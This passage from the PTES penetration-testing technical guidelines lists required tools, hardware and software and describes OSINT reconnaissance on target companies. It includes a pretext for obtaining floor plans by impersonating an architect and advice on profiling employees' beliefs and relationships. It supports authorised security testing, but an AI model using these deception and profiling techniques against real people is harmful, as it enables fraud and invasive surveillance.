PTES Technical Guidelines

This section is designed to be the PTES technical guidelines that help define certain procedures to follow during a penetration test. Something to be aware of is that these are only baseline methods that have been used in the industry. They will need to be continuously updated and changed upon by the community as well as within your own standard. Guidelines are just that, something to drive you in a direction and help during certain scenarios, but not an all encompassing set of instructions on how to perform a penetration test. Think outside of the box.



Contents

Tools Required
- Operating Systems
  - MacOS X
  - VMware Workstation
    - Linux
    - Windows XP/7
- Radio Frequency Tools
  - Frequency Counter
  - Frequency Scanner
  - Spectrum Analyzer
  - 802.11 USB adapter
  - External Antennas
  - USB GPS
- Software

Intelligence Gathering
- OSINT
  - Corporate
  - Physical
    - Locations
    - Shared/Individual
    - Owner

- Land/tax records
- Datacenter Locations
  - Time zones
  - Offsite gathering
  - Product/Services
  - Company Dates
  - Position identification
  - Organizational Chart
  - Corporate Communications
    - Marketing
    - Lawsuits
    - Transactions
  - Job openings
- Relationships
  - Charity Affiliations
  - Network Providers
  - Business Partners
  - Competitors

Individuals
- Social Networking Profile
- Social Networking Websites
- Cree.py

Internet Footprint
- Email addresses
  - Maltego
  - TheHarvester
  - NetGlub
- Usernames/Handles
- Social Networks
  - Newsgroups
  - Mailing Lists
  - Chat Rooms
  - Forums Search
- Personal Domain Names
- Personal Activities
  - Audio
  - Video
- Archived Information
- Electronic Data
  - Document leakage
  - Metadata leakage

- FOCA (Windows)
- Foundstone SiteDigger (Windows)
- Metagoofil (Linux/Windows)
- Exif Reader (Windows)
- ExifTool (Windows/ OS X)
- Image Search

- Covert gathering
  - On-location gathering
    - Adjacent Facilities
    - Physical security inspections
      - Security guards
      - Badge Usage
      - Locking devices
      - Intrusion detection systems (IDS)/Alarms
      - Security lighting
      - Surveillance /CCTV systems
      - Access control devices
      - Environmental Design
    - Employee Behavior
    - Dumpster diving
    - RF / Wireless Frequency scanning
  - Frequency Usage
  - Equipment Identification
    - Airmon-ng
    - Airodump-ng
    - Kismet-Newcore
    - inSSIDer
- External Footprinting
  - Identifying IP Ranges
    - WHOIS lookup
    - BGP looking glasses
  - Active Reconnaissance
  - Passive Reconnaissance
  - Active Footprinting
    - Zone Transfers
      - Host
      - Dig
    - Reverse DNS
    - DNS Bruting
      - Fierce2 (Linux)
      - DNSEnum (Linux)

- Dnsdict6 (Linux)
- Port Scanning
  - Nmap (Windows/Linux)
- SNMP Sweeps
  - SNMPEnum (Linux)
- SMTP Bounce Back
- Banner Grabbing
  - HTTP

- Internal Footprinting
  - Active Footprinting
    - Ping Sweeps
      - Nmap (Windows/Linux)
      - Alive6 (Linux)
    - Port Scanning
      - Nmap (Windows/Linux)
    - SNMP Sweeps
      - SNMPEnum (Linux)
    - Metasploit
    - Zone Transfers
      - Host
      - Dig
    - SMTP Bounce Back
    - Reverse DNS
    - Banner Grabbing
      - HTTP
      - httprint
    - VoIP mapping
      - Extensions
      - Svwar
      - enumIAX
    - Passive Reconnaissance
      - Packet Sniffing

Vulnerability Analysis

- Vulnerability Testing
  - Active
  - Automated Tools
    - Network/General Vulnerability Scanners
    - Open Vulnerability Assessment System (OpenVAS) (Linux)
    - Nessus (Windows/Linux)
    - NeXpose
    - eEYE Retina

- Qualys
- Core IMPACT
  - Core IMPACT Web
  - Core IMPACT WiFi
  - Core IMPACT Client Side
  - Core Web
  - coreWEBcrawl
  - Core Onestep Web RPTs
  - Core WiFi
- SAINT
  - SAINTscanner
  - SAINTexploit
  - SAINTwriter
- Web Application Scanners
  - General Web Application Scanners
    - WebInspect (Windows)
    - IBM AppScan
    - Web Directory Listing/Bruteforcing
    - Webserver Version/Vulnerability Identification
  - NetSparker (Windows)
  - Specialized Vulnerability Scanners
    - Virtual Private Networking (VPN)
    - IPv6
    - War Dialing
- Passive Testing
  - Automated Tools
    - Traffic Monitoring
  - Wireshark
  - Tcpdump
  - Metasploit Scanners
    - Metasploit Unleashed
- Vulnerability Validation
  - Public Research
    - Common/default passwords
  - Establish target list
    - Mapping Versions
    - Identifying Patch Levels
    - Looking for Weak Web Applications
    - Identify Weak Ports and Services
    - Identify Lockout threshold
- Attack Avenues

- Creation of Attack Trees
- Identify protection mechanisms
  - Network protections
    - "Simple" Packet Filters
    - Traffic shaping devices
    - Data Loss Prevention (DLP) systems
  - Host based protections
    - Stack/heap protections
    - Whitelisting
    - AV/Filtering/Behavioral Analysis
  - Application level protections

Exploitation

- Precision strike
  - Countermeasure Bypass
    - AV
    - Human
    - HIPS
    - DEP
    - ASLR
    - VA + NX (Linux)
    - w^x (OpenBSD)
    - WAF
    - Stack Canaries
      - Microsoft Windows
      - Linux
      - MAC OS
- Customized Exploitation
  - Fuzzing
  - Dumb Fuzzing
  - Intelligent Fuzzing
  - Sniffing
    - Wireshark
    - Tcpdump
  - Brute-Force
    - Brutus (Windows)
    - Web Brute (Windows)
    - THC-Hydra/XHydra
    - Medusa
    - Ncrack
  - Routing protocols
  - Cisco Discovery Protocol (CDP)

- Hot Standby Router Protocol (HSRP)
- Virtual Switch Redundancy Protocol (VSRP)
- Dynamic Trunking Protocol (DTP)
- Spanning Tree Protocol (STP)
- Open Shortest Path First (OSPF)
- RIP
- VLAN Hopping
- VLAN Trunking Protocol (VTP)

RF Access

- Unencrypted Wireless LAN
  - Iwconfig (Linux)
  - Windows (XP/7)
- Attacking the Access Point
  - Denial of Service (DoS)
- Cracking Passwords
  - WPA-PSK/ WPA2-PSK
  - WPA/WPA2-Enterprise
- Attacks
  - LEAP
    - Asleap
  - 802.1X
    - Key Distribution Attack
    - RADIUS Impersonation Attack
  - PEAP
    - RADIUS Impersonation Attack
    - Authentication Attack
  - EAP-Fast
  - WEP/WPA/WPA2
  - Aircrack-ng

Attacking the User

- Karmetasploit Attacks
- DNS Requests
- Bluetooth
- Personalized Rogue AP
- Web
  - SQL Injection (SQLi)
  - XSS
  - CSRF
- Ad-Hoc Networks
- Detection bypass
- Resistance of Controls to attacks

- Type of Attack
- The Social-Engineer Toolkit
- VPN detection
- Route detection, including static routes
- Network Protocols in use
- Proxies in use
- Network layout
- High value/profile targets
- Pillaging
- Video Cameras
- Data Exfiltration
- Locating Shares
- Audio Capture
- High Value Files
- Database Enumeration
- Wifi
- Source Code Repos
- Git
- Identify custom apps
- Backups
- Business impact attacks
- Further penetration into infrastructure
- Pivoting inside
- History/Logs
- Cleanup
- Persistence

Post Exploitation

- Windows Post Exploitation
- Blind Files
- Non Interactive Command Execution
- System
- Networking (ipconfig, netstat, net)
- Configs
- Finding Important Files
- Files To Pull (if possible)
- Remote System Access
- Auto-Start Directories
- Binary Planting
- Deleting Logs
- Uninstalling Software “AntiVirus” (Non interactive)
- Other

- Operating Specific
  - Win2k3
  - Vista/7
  - Vista SP1/7/2008/2008R2 (x86 & x64)
- Invasive or Altering Commands
- Support Tools Binaries / Links / Usage
  - Various tools
- Obtaining Password Hashes in Windows
- LSASS Injection
  - Pwdump6 and Fgdump
  - Hashdump in Meterpreter
- Extracting Passwords from Registry
  - Copy from the Registry
  - Extracting the Hashes
- Extracting Passwords from Registry using Meterpreter

Reporting

- Executive-Level Reporting
- Technical Reporting
- Quantifying the risk
- Deliverable

Custom tools developed

Appendix A - Creating OpenVAS "Only Safe Checks" Policy

- General
- Plugins
- Credentials
- Target Selection
- Access Rules
- Preferences
- Knowledge Base

Appendix B - Creating the "Only Safe Checks" Policy

- General
- Credentials
- Plugins
- Preferences

Appendix C - Creating the "Only Safe Checks (Web)" Policy

- General
- Credentials
- Plugins
- Preferences

Appendix D - Creating the "Validation Scan" Policy

General
Credentials
Plugins
Preferences

Appendix E - NeXpose Default Templates

Denial of service
Discovery scan
Discovery scan (aggressive)
Exhaustive
Full audit
HIPAA compliance
Internet DMZ audit
Linux RPMs
Microsoft hotfix
Payment Card Industry (PCI) audit
Penetration test
Penetration test
Safe network audit
Sarbanes-Oxley (SOX) compliance
SCADA audit
Web audit

Tools Required

Selecting the tools required during a penetration test depends on several factors such as the type and the depth of the engagement. In general terms, the following tools are mandatory to complete a penetration test with the expected results.

Operating Systems

Selecting the operating platforms to use during a penetration test is often critical to the successfully exploitation of a network and associated system. As such it is a requirement to have the ability to use the three major operating systems at one time. This is not possible without virtualization.

MacOS X

MacOS X is a BSD-derived operating. With standard command shells (such as *sh*, *csh*, and *bash*) and native network utilities that can be used during a penetration test (including *telnet*, *ftp*, *rpcinfo*, *snmpwalk*, *host*, and *dig*) it is the system of choice and is the underlying host system for our penetration testing tools. Since this is a hardware platform as well, this makes the selection of specific hardware extremely simple and ensures that all tools will work as designed.

VMware Workstation

VMware Workstation is an absolute requirement to allow multiple instances of operating systems easily on a workstation. VMware Workstation is a fully supported commercial package, and offers encryption capabilities and

snapshot capabilities that are not available in the free versions available from VMware. Without the ability to encrypt the data collected on a VM confidential information will be at risk, therefore versions that do not support encryption are not to be used. The operating systems listed below should be run as a guest system within VMware.

Linux

Linux is the choice of most security consultants. The Linux platform is versatile, and the system kernel provides low-level support for leading-edge technologies and protocols. All mainstream IP-based attack and penetration tools can be built and run under Linux with no problems. For this reason, BackTrack is the platform of choice as it comes with all the tools required to perform a penetration test.

Windows XP/7

Windows XP/7 is required for certain tools to be used. Many commercial tools or Microsoft specific network assessment and penetration tools are available that run cleanly on the platform.

Radio Frequency Tools

Frequency Counter

A Frequency Counter should cover from 10Hz- 3 GHz. A good example of a reasonably priced frequency counter is the MFJ-886 Frequency Counter.

Frequency Scanner

A scanner is a radio receiver that can automatically tune, or scan, two or more discrete frequencies, stopping when it finds a signal on one of them and then continuing to scan other frequencies when the initial transmission ceases. These are not to be used in Florida, Kentucky, or Minnesota unless you are a person who holds a current amateur radio license issued by the Federal Communications Commission. The required hardware is the Uniden BCD396T Bearcat Handheld Digital Scanner or PSR-800 GRE Digital trunking scanner.

Spectrum Analyzer

A spectrum analyzer is a device used to examine the spectral composition of some electrical, acoustic, or optical waveform. A spectrum analyzer is used to determine whether or not a wireless transmitter is working according to federally defined standards and is used to determine, by direct observation, the bandwidth of a digital or analog signal. A good example of a reasonably priced spectrum analyzer is the Kaltman Creations HF4060 RF Spectrum Analyzer.

802.11 USB adapter

An 802.11 USB adapter allow for the easy connection of a wireless adapter to the penetration testing system. There are several issues with using something other than the approved USB adapter as not all of them support the required functions. The required hardware is the Alfa AWUS051NH 500mW High Gain 802.11a/b/g/n high power Wireless USB.

External Antennas

External antennas come in a variety of shapes, based upon the usage and with a variety of connectors. All external antennas must have RP-SMA connectors that are compatible with the Alfa. Since the Alfa comes with an Omni-directional antenna, we need to obtain a directional antenna. The best choice is a panel antenna as it provides the capabilities required in a package that travels well. The required hardware is the L-com 2.4 GHz 14 dBi Flat Panel Antenna with RP-SMA connector. A good magnetic mount Omni-directional antenna such as the L-com 2.4 GHz/900 MHz 3 dBi Omni Magnetic Mount Antenna with RP-SMA Plug Connector is a good choice.

USB GPS

A GPS is a necessity to properly perform an RF assessment. Without this it's simply impossible to determine where and how far RF signals are propagating. There are numerous options are available, therefore you should look to obtain a USB GPS that is supported on operating system that you are using be that Linux, Windows and Mac OS X.

Software

The software requirements are based upon the engagement scope, however we've listed some commercial and open source software that could be required to properly conduct a full penetration test.

Software	URL	Description	Windows Only
Maltego	http://www.paterva.com/web5	The defacto standard for mining data on individuals and companies. Comes in a free community version and paid version.	
Nessus	http://tenable.com/products/nessus	A vulnerabilty scanning tool available in paid and free versions. Nessus is useful for finding and documenting vulnerabilities mostly from the inside of a given network.	
IBM AppScan	http://www-01.ibm.com/software/awdtools/appscan	IBM's automated Web application security testing suite.	*
eEye Retina	http://www.eeye.com/Products/Retina.aspx	Retina is an an automated network vulnerability scanner that can be managed from a single web-based console. It can be used in conjunction with Metasploit where if an exploit exists in Metasploit, it can be launched directly from Retina to verify that the vulnerability exists.	
Nexpose	http://www.rapid7.com	Nexpose is a vulnerability scanner from the same company that brings you Metasploit. Available in both free and paid versions that differ in levels of support and features.	
OpenVAS	http://www.openvas.org	OpenVAS is a vulnerability scanner that originally started as a fork of the Nessus project. The actual security scanner is accompanied with a daily updated feed of Network Vulnerability Tests (NVTs), over 20,000 in total (as of January 2011)	
HP WebInspect	https://www.fortify.com/products/web_inspect.html	HP WebInspect performs web application security testing and	*

		assessment for complex web applications. Supports JavaScript, Flash, Silverlight and others.	
HP SWFScan	https://h30406.www3.hp.com/campaigns/2009/wwcampaign/1-5TUVE/index.php?key=swf	HP SWFScan is a free tool developed by HP Web Security Research Group to automatically find security vulnerabilities in applications built on the Flash platform. Useful for decompiling flash apps and finding hard-coded credentials, etc.	*
Backtrack Linux	[1] (http://www.backtrack-linux.org)	One of the most complete penetration testing Linux distributions available. Includes many of the more popular free pentesting tools but is based on Ubuntu so it's also easily expandable. Can be run on Live CD, USB key, VM or installed on a hard drive.	
SamuraiWTF (Web Testing Framework)	http://samurai.inguardians.com	A live Linux distribution built for the specific purpose of web application scanning. Includes tools such as Fierce, Maltego, WebScarab, BeEF any many more tools specific to web application testing.	
SiteDigger	http://www.mcafee.com/us/downloads/free-tools/sitedigger.aspx	SiteDigger 3.0 is a free tool that runs on Windows. It searches Google's cache to look for vulnerabilities, errors, configuration issues, proprietary information, and interesting security nuggets on web sites.	*
FOCA	http://www.informatica64.com/DownloadFOCA	FOCA is a tool that allows you to find out more about a website by (amongst other things) analysing the metadata in any documents it makes available.	*
THC IPv6 Attack Toolkit	http://www.thc.org/thc-ipv6	The largest single collection of tools designed to exploit vulnerabilities in the IPv6 and ICMP6 protocols.	
THC Hydra	http://thc.org/thc-hydra/	Hydra is a very fast network logon brute force cracker which can attack many different services and resources.	*

Cain	http://www.oxid.it/cain.html	Cain & Abel is a password recovery tool that runs on Windows. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, recovering wireless network keys, revealing password boxes, uncovering cached passwords and analyzing routing protocols.	*
cree.py	http://ilektrojohn.github.com/creepy/	cree.py gathers geolocation related information from social networking platforms and image hosting services. Then the information is presented in a map where all the retrieved data is shown accompanied with relevant information (i.e. what was posted from that specific location) to provide context.	
inSSIDer	http://www.metageek.net/products/inssider	inSSIDer is a free gui-based wifi discovery and troubleshooting tool for Windows	*
Kismet Newcore	http://www.kismetwireless.net	Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet passively collects packets from both named and hidden networks with any wireless adapter that supports raw monitor mode.	
Rainbow Crack	http://project-rainbowcrack.com	Rainbow Crack is a password cracker that will run a pre-computed rainbow table against a given series of hashes.	
dnsenum	http://code.google.com/p/dnsenum	Think of dnsenum as a supercharged version of a whois query. It not only discovers all of the dns records but it goes a step further and attempts to use google to discover subdomains, discovers BIND versions and more.	
dnsmap	http://code.google.com/p/dnsmap	Dnsmap is a passive dns mapper that is used for subdomain	

		bruteforce discovery.	
dnsrecon	http://www.darkoperator.com/tools-and-scripts/	DNS enumeration script written in ruby for performing TLD expansion, SRV record enumeration, host and subdomain brute force, zone transfer, reverse lookup and general record identification.	
dnstracer	http://www.mavetju.org/unix/dnstracer.php	dnstracer determines where a given Domain Name Server (DNS) gets its information from and follows the chain of DNS servers back to the servers which know the data.	
dnswalk	http://sourceforge.net/projects/dnswalk	Dnswalk is a DNS debugger. It performs zone transfers of specified domains, and checks the database in numerous ways for internal consistency, as well as accuracy.	
Fierce	http://ha.ckers.org/fierce	Fierce domain scan discovers non-contiguous IP ranges of a network.	
Fierce2	http://trac.assembla.com/fierce/	Fierce 2 is an updated version that is maintained by a new group of developers.	
FindDomains	http://code.google.com/p/finddomains	FindDomains is a multithreaded search engine discovery tool that will be very useful for penetration testers dealing with discovering domain names/web sites/virtual hosts which are located on too many IP addresses. Provides a console interface so you can easily integrate this tool to your pentesting automation system.	*
HostMap	http://hostmap.lonerunners.net	hostmap is a free and automatic tool that enables the discovery of all hostnames and virtual hosts on a given IP address.	
URLcrazy	http://www.morningstarsecurity.com/research/urlcrazy	URLCrazy is a domainname typo generator. This will allow you to find squatted domains related to your target company and possibly generate some of your own.	
theHarvester	http://www.edge-security.com/theHarvester.php	theHarvester is a tool for gathering e-mail accounts, user names and hostnames/subdomains from different public sources like search	

		engines and PGP key servers.	
The Metasploit Framework	http://metasploit.com	Metasploit is an ever-growing collection of remote exploits and post exploitation tools for all platforms. You will want to constantly run svn updates on this tool since new features and exploits are added nearly daily. Metasploit is both incredibly powerful and complex. For further guidance, check out this book http://nostarch.com/metasploit.htm .	
The Social-Engineer Toolkit (SET)	http://www.secmaniac.com/download/	The Social-Engineer Toolkit (SET) is specifically designed to perform advanced attacks against the human element. Amongst other things, SET allows you to craft malcious emails and dummy websites based on legitimate ones to compliment a social engineering attack.	
Fast-Track	http://www.secmaniac.com/download/	Fast-Track is an automated pentesting tool suite. Many of the issues Fast-Track exploits are due to improper sanitizing of client-side data within web applications, patch management, or lack of hardening techniques. It runs on Linux and depends on Metasploit 3.	

Intelligence Gathering

Intelligence Gathering is the phase where data or "intelligence" is gathered to assist in guiding the assessment actions. At the broadest level this intelligence gathering includes information about employees, facilities, products and plans. Within a larger picture this intelligence will include potentially secret or private "intelligence" of a competitor, or information that is otherwise relevant to the target.

OSINT

Open Source Intelligence (OSINT) in the simplest of terms is locating, and analyzing publically (open) available sources of information. The key component here is that this intelligence gathering process has a goal of producing current and relevant information that is valuable to either an attacker or competitor. For the most part, OSINT is more than simply performing web searches using various sources.

Corporate

Information on a particular target should include information regarding the legal entity. Most states within the US require Corporations, limited liability companies and limited partnerships to file with the State division. This division serves as custodian of the filings and maintains copies and/or certifications of the documents and filings. This information may contain information regarding shareholders, members, officers or other persons involved in the target

entity.

State	URL
Alabama	http://sos.alabama.gov/BusinessServices/NameRegistration.aspx (http://sos.alabama.gov/BusinessServices/NameRegistration.aspx)
Alaska	http://www.dced.state.ak.us/bsc/corps.htm (http://www.dced.state.ak.us/bsc/corps.htm)
Arizona	http://starpas.azcc.gov/scripts/cgiip.exe/WService=wsbroker1/main.p (http://starpas.azcc.gov/scripts/cgiip.exe/WService=wsbroker1/main.p)
Arkansas	http://www.sosweb.state.ar.us/corps/incorp (http://www.sosweb.state.ar.us/corps/incorp)
California	http://kepler.sos.ca.gov/ (http://kepler.sos.ca.gov/)
Colorado	http://www.state.co.us (http://www.state.co.us/)
Connecticut	http://www.state.ct.us (http://www.state.ct.us/)
Delaware	http://www.state.de.us (http://www.state.de.us/)
District of Columbia	http://www.ci.washington.dc.us (http://www.ci.washington.dc.us/)
Florida	http://www.sunbiz.org/search.html (http://www.sunbiz.org/search.html)
Georgia	http://corp.sos.state.ga.us/corp/soskb/CSearch.asp (http://corp.sos.state.ga.us/corp/soskb/CSearch.asp)
Hawaii	http://www.state.hi.us (http://www.state.hi.us/)
Idaho	http://www.accessidaho.org/public/sos/corp/search.html?SearchFormstep=crit (http://www.accessidaho.org/public/sos/corp/search.html?SearchFormstep=crit)
Illinois	http://www.ilsos.gov/corporatellc (http://www.ilsos.gov/corporatellc)
Indiana	http://secure.in.gov/sos/bus_service/online_corps/default.asp (http://secure.in.gov/sos/bus_service/online_corps/default.asp)
Iowa	http://www.state.ia.us (http://www.state.ia.us/)
Kansas	http://www.accesskansas.org/apps/corporations.html (http://www.accesskansas.org/apps/corporations.html)
Kentucky	http://ukcc.uky.edu/~vitalrec (http://ukcc.uky.edu/~vitalrec)
Louisiana	http://www.sec.state.la.us/crpinq.htm (http://www.sec.state.la.us/crpinq.htm)
Maine	http://www.state.me.us/sos/cec/corp/ucc.htm (http://www.state.me.us/sos/cec/corp/ucc.htm)
Maryland	http://sdatcert3.resiusa.org/ucc-charter (http://sdatcert3.resiusa.org/ucc-charter)
Massachusetts	http://ucc.sec.state.ma.us/psearch/default.asp (http://ucc.sec.state.ma.us/psearch/default.asp)
Michigan	http://www.cis.state.mi.us/bcs_corp/sr_corp.asp (http://www.cis.state.mi.us/bcs_corp/sr_corp.asp)
Minnesota	http://www.state.mn.us/ (http://www.state.mn.us/)

Mississippi	http://www.sos.state.ms.us/busserv/corpsnap (http://www.sos.state.ms.us/busserv/corpsnap)
Missouri	http://www.state.mo.us (http://www.state.mo.us/)
Montana	http://sos.state.mt.us (http://sos.state.mt.us/)
Nebraska	http://www.sos.state.ne.us/htm/UCCmenu.htm (http://www.sos.state.ne.us/htm/UCCmenu.htm)
Nevada	http://sandgate.co.clark.nv.us:8498/cicsRecorder/ornu.htm (http://sandgate.co.clark.nv.us:8498/cicsRecorder/ornu.htm)
New Hampshire	http://www.state.nh.us (http://www.state.nh.us/)
New Jersey	http://www.state.nj.us/treasury/revenue/searchucc.htm (http://www.state.nj.us/treasury/revenue/searchucc.htm)
New Mexico	http://www.sos.state.nm.us/UCC/UCCSRCH.HTM (http://www.sos.state.nm.us/UCC/UCCSRCH.HTM)
New York	http://wdb.dos.state.ny.us/corp_public/corp_wdb.corp_search_inputs.show (http://wdb.dos.state.ny.us/corp_public/corp_wdb.corp_search_inputs.show)
North Carolina	http://www.secstate.state.nc.us/research.htm (http://www.secstate.state.nc.us/research.htm)
North Dakota	http://www.state.nd.us/sec (http://www.state.nd.us/sec)
Ohio	http://serform.sos.state.oh.us/pls/report/report.home (http://serform.sos.state.oh.us/pls/report/report.home)
Oklahoma	http://www.oklahomacounty.org/coclerk/ucc/default.asp (http://www.oklahomacounty.org/coclerk/ucc/default.asp)
Oregon	http://egov.sos.state.or.us/br/pkg_web_name_srch_inq.login (http://egov.sos.state.or.us/br/pkg_web_name_srch_inq.login)
Pennsylvania	http://www.dos.state.pa.us/DOS/site/default.asp (http://www.dos.state.pa.us/DOS/site/default.asp)
Rhode Island	http://155.212.254.78 (http://155.212.254.78/)
South Carolina	http://www.scsos.com/corp_search.htm (http://www.scsos.com/corp_search.htm)
South Dakota	http://www.state.sd.us (http://www.state.sd.us/)
Tennessee	http://www.state.tn.us/sos/service.htm (http://www.state.tn.us/sos/service.htm)
Texas	https://ourcpa.cpa.state.tx.us/coa/Index.html (https://ourcpa.cpa.state.tx.us/coa/Index.html)
Utah	http://www.commerce.state.ut.us (http://www.commerce.state.ut.us/)
Vermont	http://www.sec.state.vt.us/seek/database.htm (http://www.sec.state.vt.us/seek/database.htm)
Virginia	http://www.state.va.us (http://www.state.va.us/)
Washington	http://www.dol.wa.gov/business/UCC/ (http://www.dol.wa.gov/business/UCC/)
West Virginia	http://www.wvsos.com/wvcorporations (http://www.wvsos.com/wvcorporations)

Wisconsin	http://www.wdfi.org/corporations/crispix (http://www.wdfi.org/corporations/crispix)
Wyoming	http://soswy.state.wy.us/Corp_Search_Main.asp (http://soswy.state.wy.us/Corp_Search_Main.asp)

Physical

Often the first step in OSINT is to identify the physical locations of the target corporation. This information might be readily available for publically known or published locations, but not quite so easy for more secretive sites. Public sites can often be location by using search engines such as:

- Google -http://www.google.com (http://www.google.com/)
- Yahoo - http://yahoo.com (http://yahoo.com/)
- Bing - http://www.bing.com (http://www.bing.com/)
- Ask.com - http://ask.com (http://ask.com/)

Locations

Shared/Individual

As part of identifying the physical location it is important to note if the location is an individual building or simply a suite in a larger facility. It is important to attempt to identify neighboring businesses as well as common areas.

Owner

Once the physical locations have been identified, it is useful to identify the actual property owner(s). This can either be an individual, group, or corporation. If the target corporation does not own the property then they may be limited in what they can physically do to enhance or improve the physical location.

Land/tax records

Tax records:

http://www.naco.org/Counties/Pages/CitySearch.aspx

Land and tax records generally include a wealth of information on a target such as ownership, possession, mortgage companies, foreclosure notices, photographs and more. The information recorded and level of transparency varies greatly by jurisdiction. Land and tax records within the United States are typically handled at the county level.

To start, if you know the city or zipcode in which your target resides, use a site such as http://publicrecords.netronline.com/ to determine which county that is in. Then switching over to Google you can use a query such as "XXXX county tax records", "XXXX county recording office" or "XXXX county assessor" and that should lead you to a searchable online database if one exists. If it does not exist, you can still call the county recording office and request that they fax you specific records if you have an idea of what you are looking for.

Building department:

For some assessments, it might make sense to go a step further and query the local building department for additional information. Depending on the city, the target's site might be under county or city jurisdiction. Typically that can be determined by a call to either entity.

The building department generally has floor plans, old & current permits, tenant improvement information and other similar information on file. Buried in that information might be names of contracting firms, engineers, architects and

more. All of which could be used with a tool such as SET. In most cases, a phone call will be required to obtain any of this information but most building departments are happy to hand it out to anyone who asks.

Here is a possible pretext you could use to obtain floor plans: You could call up and say that you are an architectural consultant who has been hired to design a remodel or addition to the building and it would help the process go much smoother if you could get a copy of the original plans.

Datacenter Locations

Identifying any target business data center locations via either the corporate website, public filings, land records or via a search engine can provide additional potential targets.

Time zones

Identifying the time zones that the target operates in provides valuable information regarding the hours of operation. It is also significant to understand the relationship between the target time zone and that of the assessment team. A time zone map is often useful as a reference when conducting any test.

TimeZone Map

Offsite gathering

Identifying any recent or future offsite gatherings or parties via either the corporate website or via a search engine can provide valuable insight into the corporate culture of a target. It is often common practice for businesses to have offsite gatherings not only for employees, but also for business partners and customers. Collecting this data could provide insight into potential items of interest to an attacker.

Product/Services

Identifying the target business products and any significant data related to such launches via the corporate website, new releases or via a search engine can provide valuable insight into the internal workings of a target. It is often common practice for businesses to make such notifications publicly in an effort to garner publicity and to inform current and/or new customers of the launch. Publicly available information includes, but is not limited to, foreign language documents, radio and television broadcasts, Internet sites, and public speaking.

Company Dates

Significant company dates can provide insight into potential days where staff may be on alert higher than normal. This could be due to potential corporate meetings, board meetings, investor meetings, or corporate anniversary. Normally, businesses that observe various holidays have a significantly reduced staff and therefore targeting may prove to be much more difficult during these periods.

Position identification

Within every target it is critical that you identify and document the top positions within the organization. This is critical to ensure that the resulting report is targeting the correct audience. At a minimum, key employees should be identified as part of any engagement.

Organizational Chart

Understanding the organizational structure is important, not only to understand the depth of the structure, but also the breadth. If the organization is extremely large, it is possible that new staff or personnel could go undetected. In smaller organizations, the likelihood is not as great. Getting a good picture of this structure can also provide insight into the functional groups. This information can be useful in determining internal targets.

Corporate Communications

Identifying corporate communications either via the corporate website or a job search engine can provide valuable insight into the internal workings of a target.

Marketing

Marketing communications are often used to make corporate announcements regarding currently, or future product releases, and partnerships.

Lawsuits

Communications regarding the targets involvement in litigation can provide insight into potential threat agent or data of interest.

Transactions

Communications involving corporate transactions may be indirect response to a marketing announcement or lawsuit.

Job openings

Searching current job openings or postings via either the corporate website or via a job search engine can provide valuable insight into the internal workings of a target. It is often common practice to include information regarding currently, or future, technology implementations. Collecting this data could provide insight into potential items of interest to an attacker. Several Job Search Engines exist that can be queried for information regarding the target.

Site	URL
Monster	http://www.monster.com (http://www.monster.com/)
CareerBuilder	http://www.careerbuilder.com (http://www.careerbuilder.com/)
Computerjobs.com	http://www.computerjobs.com (http://www.computerjobs.com/)
Craigslist	http://www.craigslist.org/about/sites (http://www.craigslist.org/about/sites/)

Relationships

Identifying the targets logical relationships is critical to understand more about how the business operates. Publicly available information should be leveraged to determine the target business relationship with vendors, business partners, law firms, etc. This is often available via news releases, corporate web sites (target and vendors), and potentially via industry related forums.

Charity Affiliations

Identifying any target business charity affiliations via either the corporate website or via a search engine can provide valuable insight into the internal workings and potentially the corporate culture of a target. It is often common practice for businesses to make charitable donations to various organizations. Collecting this data could provide insight into potential items of interest to an attacker.

Network Providers

Identifying any network provisioning or providers either via the allocated netblock /address information, corporate website or via a search engine can provide valuable insight into the potentially of a target. It is often common practice for businesses to make charitable donations to various organizations. Collecting this data could provide insight into

potential items of interest to an attacker.

Business Partners

Identifying business partners is critical to gaining insight into not only the corporate culture of a target, but also potentially technologies being used. It is often common practice for businesses to announce partnership agreements. Collecting this data could provide insight into potential items of interest to an attacker.

Competitors

Identifying competitors can provide a window into potential adversaries. It is not uncommon for competitors to announce news that could impact the target. These could range from new hires, product launches, and even partnership agreements. Collecting this data is important to fully understand any potential corporate hostility.

Individuals

Social Networking Profile

The numbers of active Social Networking websites as well as the number of users make this a prime location to identify employee's friendships, kinships, common interest, financial exchanges, likes/dislikes, sexual relationships, or beliefs. It is even possible to determine an employee's corporate knowledge or prestige.

Social Networking Websites

Name	URL	Description/Focus
Academia.edu	http://www.academia.edu (http://www.academia.edu/)	Social networking site for academics/ researchers
Advogato	http://www.advogato.org (http://www.advogato.org/)	Free and open source software developers
aNobii	http://www.anobii.com/anobii_home (http://www.anobii.com/anobii_home)	Books
aSmallWorld	http://www.asmallworld.net (http://www.asmallworld.net/)	European jet set and social elite world-wide
AsianAvenue	http://www.asianave.com (http://www.asianave.com/)	A social network for the Asian American community
Athlinks	http://www.athlinks.com (http://www.athlinks.com/)	Open Running, Swimming
Audimated.com	http://www.audimated.com (http://www.audimated.com/)	Independent Music
Avatars United	http://www.avatarsunited.com (http://www.avatarsunited.com/)	Online games
Badoo	http://badoo.com (http://badoo.com/)	General, Meet new people, Popular in Europe and LatAm
Bebo	http://www.bebo.com (http://www.bebo.com/)	General

Bigadda	http://bigb.bigadda.com (http://bigb.bigadda.com/)	Indian Social Networking Site
Federated Media's BigTent	http://www.federatedmedia.net (http://www.federatedmedia.net/)	Organization and communication portal for groups
Biip.no	http://www.biip.no (http://www.biip.no/)	Norwegian community
BlackPlanet	http://www.blackplanet.com (http://www.blackplanet.com/)	African-Americans
Blauk	http://blauk.com (http://blauk.com/)	Anyone who wants to tell something about a stranger or acquaintance.
Blogster	http://www.blogster.com (http://www.blogster.com/)	Blogging community
Bolt.com	http://www.bolt.com (http://www.bolt.com/)	General
Buzznet	http://www.buzznet.com (http://www.buzznet.com/)	Music and pop-culture
CafeMom	http://www.cafemom.com (http://www.cafemom.com/)	Mothers
Cake Financial	http://www.cakefinancial.com (http://www.cakefinancial.com/)	Investing
Care2	http://www.care2.com (http://www.care2.com/)	Green living and social activism
CaringBridge	http://www.caringbridge.org (http://www.caringbridge.org/)	Not for profit providing free websites that connect family and friends during a serious health event, care and recovery.
Cellufun	http://m.cellufun.com (http://m.cellufun.com/)	Mobile social game network, Number 8 US mobile website
